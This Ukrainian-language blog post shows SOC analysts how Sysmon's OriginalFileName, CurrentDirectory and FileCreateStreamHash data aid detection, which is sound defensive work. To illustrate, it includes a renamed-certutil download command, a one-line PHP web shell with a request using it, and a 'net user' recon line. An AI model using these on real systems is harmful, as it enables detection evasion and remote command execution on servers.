Корисні Поля та Події Sysmon
Вступ
В цьому пості розповім про відомі, проте недооцінені поля і події сисмону, а також наведу приклад їх використання. Спробую акцентувати увагу на тих речах, які ви не побачите в подіях 4688 з надією все ж переконати тих кому “вистачає стандартних логів” перейти на сисмон.
Поле OriginalFileName
Коли Sysmon логує запуск процесу (Event ID 1), він додає корисні поля: Product, Company, і OriginalFileName. Всі три значення беруться з PE хедера виконуваного файлу. Зазвичай OriginalFileName збігається з назвою файлу, а ось регістр букв - не завжди:
| Файл | OriginalFileName |
|---|---|
| cmd.exe | Cmd.Exe |
| powershell.exe | PowerShell.EXE |
| certutil.exe | CertUtil.exe |
| rundll32.exe | RUNDLL32.EXE |
PE хедер легко змінити, проте тоді пропаде цифровий підпис. Але якщо перемістити чи перейменувати бінарник - залишиться і підпис, і оригінальний PE хедер. Якщо цікаво погратись - Resource Hacker -> Version Info:
Користь для СОКу
Навіщо ж Sysmon логує це поле? Уявімо правило що спрацьовує на запуск certutil: EventID=1 Image=C:\\Windows\\System32\\certutil.exe. Ніби все супер, поки ворог не вирішить зробити копію бінарника. Наприклад:
cp C:\\Windows\\System32\\certutil.exe $env:temp\\edge-updater.exe
$env:temp\\edge-updater.exe -urlcache -f http://example.com/b.exe d.exe
rm $env:temp\\edge-updater.exe
Оскільки і шлях, і назва копії тепер інші - алерт ви не отримаєте, варто виправляти правило. Можна, звісно, моніторити саме копіювання файлів з System32, але альтернатив “cp” теж немало. Другий варіант - також дивитись по хешу, але хеш зміниться з наступним оновленням. А ось OriginalFileName змінюватись не має, та й підмінити його в один рядок не вийде:
# Початкове правило
EventID=1 Image=C:\\Windows\\System32\\certutil.exe
# Покращене правило
EventID=1 (Image=C:\\Windows\\System32\\certutil.exe OR OriginalFileName=CertUtil.exe)
Техніка досить популярна, сам стикався з атаками коли LNK перейменовує curl.exe або powershell.exe, щоб довантажити малварь. Зверніть увагу, що в 4688 цього поля немає, а також не всі вендорські/вбудовані правила підтримують OriginalFileName. Перегляньте свої правила!
Поле CurrentDirectory
Це поле так само доступне лише в event ID 1 та вказує на директорію з якої було запущено процес. Зазвичай, це буде C:\Windows\System32\ для системних процесів або та директорія в якій знаходиться користувач коли відкриває програму, як от C:\Users\bob\Downloads.
Користь для СОКу
Коли ж це поле може допомогти? Основний випадок це коли у вас обмежене логування, бачите ви тільки запуск процесу, і зловмисник використовує відносний шлях в своїх командах, наприклад:
# Як без CurrentDirectory зрозуміти де знаходиться users.txt?
# (C:\Users\user\Documents\users.txt)
Event ID 1
==========
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c net user > users.txt
CurrentDirectory: C:\Users\user\Documents
# Чи як без CurrentDirectory швидко знайти profile.json?
# (C:\Program Files\Common Files\profile.json)
Event ID 1
==========
Image: C:\Windows\SysHack.exe
CommandLine: C:\Windows\SysHack.exe -c profile.json
CurrentDirectory: C:\Program Files\Common Files
Хоч це й не основне призначення поля, але CurrentDirectory може також допомогти зрозуміти джерело атаки. Наприклад, якщо підозрілі процеси створені з директорії веб-сервера (як от C:\inetpub\* чи C:\Apache24\*) - можливо це робота вебшел або атака через веб:
# 1. Нехай ворог залив вебшел через вразливість в uploads:
C:\Apache24\htdocs\kv.mysite.com.ua\uploads\shell.php
<?php system($_GET['cmd']); ?>
# 2. Далі ворог скористався вебшелом та запустив команду dir:
GET https://kv.mysite.com.ua/shell.php?cmd=dir
# 3. Саме CurrentDirectory може вказати де вебшел і де вразливість
CommandLine: C:\System32\cmd.exe /s /c "dir"
ParentImage: C:\Apache24\bin\httpd.exe
CurrentDirectory: C:\Apache24\htdocs\kv.mysite.com.ua\uploads
Також з цікавого, можна будувати правила виключно на основі CurrentDirectory: будь-який процес з директорій на кшталт C:\Users\Public\ чи C:\Temp\ - це вже привід глянути до активності уважніше. До теми аналізу, раджу пригадати інше чудове поле Sysmon: IntegrityLevel.
Подія FileCreateStreamHash
Подія 15, FileCreateStreamHash, сповіщає про створення Alternate Data Stream (ADS) та логується більшістю конфіг-файлів, в тому числі й тим що я рекомендую. Якщо ви ще не чули про ADS - це особливість NTFS яку іноді експлуатують щоб сховати малварь чи шкідливий пейлоад. Дуже цікава тема, раджу почитати (MITRE, практика). Але сьогодні розповім про більш прикладну користь події FileCreateStreamHash - визначати веб-сайт з якого був завантажений файл:
Як це працює
Коли ви завантажуєте файл через веб-браузер, Windows ставить на нього мітку (а вірніше створює ADS) щоб більш прискіпливо ставитись до його вмісту та обмежувати певні його дії. До прикладу, Word чи Excel не запустять макроси з файлу, якщо на ньому стоїть мітка. Ця мітка називається Mark of the Web та зберігає оригінальне джерело файлу:
# ADS "Zone.Identifier" це і є Mark of the Web
# Поле HostUrl вказує звідки завантажили архів
PS C:\> Get-Content .\Sysmon.zip -Stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://learn.microsoft.com/
HostUrl=https://download.sysinternals.com/files/Sysmon.zip
Подія 15 логує не лише факт створення Alternate Data Stream, а й зазвичай його вміст - тому ви побачите події як на скріншоті вище, для кожного завантаження. Надзвичайно корисна подія для аналізу фішингу: не шумить та вказує повне посилання незалежно від розширення файлу, браузера, або протоколу (HTTP/HTTPS). Саме довкола цієї події можна будувати різного роду правила: завантаження з домену *.top, з URL що світиться на трет інтелах, або навіть з сайту конкурентів.